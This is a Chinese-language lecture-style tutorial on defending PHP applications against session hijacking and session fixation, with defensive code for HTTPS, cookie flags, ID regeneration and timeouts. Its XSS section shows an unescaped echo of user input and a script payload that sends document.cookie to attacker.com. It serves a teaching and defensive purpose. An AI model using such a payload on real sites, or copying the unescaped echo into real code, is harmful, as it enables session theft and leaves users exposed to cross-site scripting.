PHP `Session Hijacking` 与 `Session Fixation` 防御

大家好,欢迎来到今天的“PHP Session安全那些事儿”讲座。今天我们来聊聊PHP Session安全里两个臭名昭著的家伙:Session Hijacking(会话劫持)和 Session Fixation(会话固定)。

咱们先来个热身小故事:

想象一下,你开开心心去银行ATM机取钱,输完密码刚准备点“取款”,突然旁边冒出来一个家伙,一把把你推开,说:“让我来!” 然后他直接在你登录的界面上操作,把你的钱全取走了。这就是Session Hijacking,他抢走了你的“会话”,冒充你干坏事。

然后呢,还有一种更阴险的。这个家伙事先给你递过来一张卡,说:“用这张卡取钱更方便!” 你用了这张卡,结果发现,这张卡已经被他动过手脚,他能通过这张卡监视你的账户,也能随时冒充你登录。这就是Session Fixation,他事先给你准备了一个“会话”,然后等着你上钩。

是不是感觉背后一凉?别怕,今天咱们就来好好扒一扒这两个坏蛋,看看他们是怎么作案的,以及我们该如何保护自己。

第一部分:Session Hijacking (会话劫持)

1. 什么是Session Hijacking?

Session Hijacking,顾名思义,就是劫持你的会话。更准确地说,就是攻击者窃取了你的Session ID,然后利用这个Session ID冒充你,登录到你的账户,进行各种非法操作。

2. Session ID 是什么?

Session ID 是服务器用来识别用户的唯一标识。当你登录网站时,服务器会生成一个Session ID,然后通过Cookie或者URL参数发送给你的浏览器。之后,你的浏览器每次访问网站时,都会带上这个Session ID,服务器就知道你是谁了。

3. Session Hijacking 的常见手段

  • XSS (Cross-Site Scripting) 跨站脚本攻击: 这是Session Hijacking最常见的手段之一。攻击者通过在网站上注入恶意脚本,窃取用户的Cookie,从而获取Session ID。

    举个例子:

    <?php
    // 假设这是一个评论页面
    $comment = $_GET['comment']; // 从GET参数获取评论内容
    
    // 如果没有对评论内容进行过滤,攻击者可以注入恶意脚本
    echo "<p>评论内容:" . $comment . "</p>";
    ?>

    攻击者可以在comment参数里注入如下代码:

    <script>
        // 将Cookie发送到攻击者的服务器
        window.location.href = "http://attacker.com/steal.php?cookie=" + document.cookie;
    </script>

    这样,当其他用户访问这个页面时,恶意脚本就会执行,将用户的Cookie(包括Session ID)发送到攻击者的服务器。

  • Man-in-the-Middle (MITM) 中间人攻击: 攻击者通过监听网络流量,截获用户的Session ID。这种情况通常发生在用户使用不安全的Wi-Fi网络时。

  • Session ID Prediction 会话ID预测: 如果Session ID的生成算法不够安全,攻击者可能会预测出Session ID,从而冒充用户。

  • Session Sniffing 会话嗅探: 攻击者通过网络嗅探工具,监听网络流量,截获用户的Session ID。

4. 如何防御 Session Hijacking?

  • 使用 HTTPS: 这是最重要的一点!HTTPS可以加密网络流量,防止中间人攻击和会话嗅探。

    <?php
    // 强制使用HTTPS
    if ($_SERVER['HTTPS'] != "on") {
        $url = "https://". $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
        header("Location: $url");
        exit;
    }
    ?>
  • HttpOnly Cookie: 设置HttpOnly Cookie,可以防止JavaScript脚本访问Cookie,从而有效防御XSS攻击。

    <?php
    // 设置HttpOnly Cookie
    session_set_cookie_params([
        'lifetime' => 3600,
        'path' => '/',
        'domain' => $_SERVER['HTTP_HOST'],
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict' // 或 'Lax', 'None'
    ]);
    session_start();
    ?>
    参数 描述
    lifetime Cookie的生命周期,单位是秒。
    path Cookie的有效路径,通常设置为/,表示对整个网站有效。
    domain Cookie的有效域名,通常设置为$_SERVER['HTTP_HOST'],表示对当前域名有效。
    secure 设置为true表示Cookie只能通过HTTPS传输。
    httponly 设置为true表示Cookie不能被JavaScript脚本访问。
    samesite SameSite Cookie 属性控制 Cookie 如何在跨站点请求中发送。它可以设置为 ‘Strict’、’Lax’ 或 ‘None’。’Strict’ 最安全,但可能会导致用户体验问题。’Lax’ 是一个更宽松的选项。’None’ 需要同时设置 Secure 属性为 true
  • SameSite Cookie: SameSite 属性可以防止跨站请求伪造(CSRF)攻击,同时也能在一定程度上防御Session Hijacking。

  • Session ID Regeneration: 每次用户登录、权限变更等重要操作时,都应该重新生成Session ID。

    <?php
    // 用户登录成功后,重新生成Session ID
    session_regenerate_id(true); // 传递true,删除旧的session文件
    ?>

    session_regenerate_id() 函数会生成一个新的Session ID,并更新客户端的Cookie。传递 true 参数会删除旧的session文件,防止攻击者利用旧的Session ID。

  • Session Timeout: 设置Session的过期时间,防止Session长时间有效,降低被攻击的风险。

    <?php
    // 设置Session过期时间为30分钟
    ini_set('session.gc_maxlifetime', 1800); // 设置服务器端Session过期时间
    session_set_cookie_params(1800); // 设置客户端Cookie过期时间
    session_start();
    ?>
  • User-Agent 和 IP 地址验证: 记录用户的User-Agent和IP地址,并在每次请求时进行验证。如果User-Agent或IP地址发生变化,可以认为Session可能被劫持。

    <?php
    session_start();
    
    // 检查User-Agent和IP地址
    if (isset($_SESSION['user_agent']) && $_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
        // User-Agent不一致,Session可能被劫持
        session_destroy();
        header('Location: login.php');
        exit;
    }
    
    if (isset($_SESSION['ip_address']) && $_SESSION['ip_address'] != $_SERVER['REMOTE_ADDR']) {
        // IP地址不一致,Session可能被劫持
        session_destroy();
        header('Location: login.php');
        exit;
    }
    
    // 记录User-Agent和IP地址
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
    ?>

    注意: User-Agent和IP地址验证并不是完全可靠的,因为User-Agent可以被伪造,IP地址也可能因为网络环境的变化而改变。所以,这种方法只能作为辅助手段。

  • Web Application Firewall (WAF): 使用WAF可以检测和防御各种Web攻击,包括XSS攻击和Session Hijacking。

第二部分:Session Fixation (会话固定)

1. 什么是Session Fixation?

Session Fixation,也叫会话固定攻击,是指攻击者事先创建一个Session ID,然后诱骗用户使用这个Session ID登录。用户登录后,攻击者就可以利用这个Session ID冒充用户。

2. Session Fixation 的常见手段

  • URL参数: 攻击者通过URL参数传递Session ID。

    例如:http://www.example.com/index.php?PHPSESSID=1234567890

  • Cookie: 攻击者通过设置Cookie来固定Session ID。

    例如:攻击者在公共电脑上设置一个Cookie,PHPSESSID=1234567890

3. 如何防御 Session Fixation?

  • Session ID Regeneration: 用户登录前,必须重新生成Session ID。这是防御Session Fixation最有效的方法。

    <?php
    session_start();
    
    // 用户登录前,重新生成Session ID
    session_regenerate_id(true);
    
    // 用户登录成功后...
    ?>
  • 不要接受来自客户端的Session ID: 不要通过URL参数或POST请求接收Session ID。Session ID应该由服务器生成,并通过Cookie发送给客户端。

    <?php
    // 不要这样做!
    // $session_id = $_GET['PHPSESSID']; // 存在Session Fixation风险
    ?>
  • 使用 HTTPS: HTTPS可以防止攻击者通过中间人攻击来设置Cookie。

  • 设置 Session Cookie 的属性: 设置Session Cookie的securehttponly属性,可以提高安全性。

总结:

防御手段 作用
使用 HTTPS 加密网络流量,防止中间人攻击和会话嗅探。
HttpOnly Cookie 防止JavaScript脚本访问Cookie,有效防御XSS攻击。
SameSite Cookie 防止跨站请求伪造(CSRF)攻击,同时也能在一定程度上防御Session Hijacking。
Session ID Regeneration 每次用户登录、权限变更等重要操作时,都应该重新生成Session ID,防御Session Hijacking和Session Fixation。
Session Timeout 设置Session的过期时间,防止Session长时间有效,降低被攻击的风险。
User-Agent & IP验证 记录用户的User-Agent和IP地址,并在每次请求时进行验证,辅助防御Session Hijacking。
WAF 检测和防御各种Web攻击,包括XSS攻击和Session Hijacking。
不接受客户端Session ID 不要通过URL参数或POST请求接收Session ID,Session ID应该由服务器生成,并通过Cookie发送给客户端,防御Session Fixation。

最后,再给大家讲个段子:

一个程序员去面试,面试官问他:“你懂Session吗?”

程序员回答:“懂啊,就是我登录之后,服务器记住我是谁,下次我再来,它还认识我!”

面试官:“那如果有人冒充你呢?”

程序员:“简单!我每次都换个马甲(Session ID),看他还认不认得我!”

面试官:“很好,你被录取了!”

希望今天的讲座对大家有所帮助。记住,安全无小事,保护好自己的Session,才能安心上网冲浪!谢谢大家!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注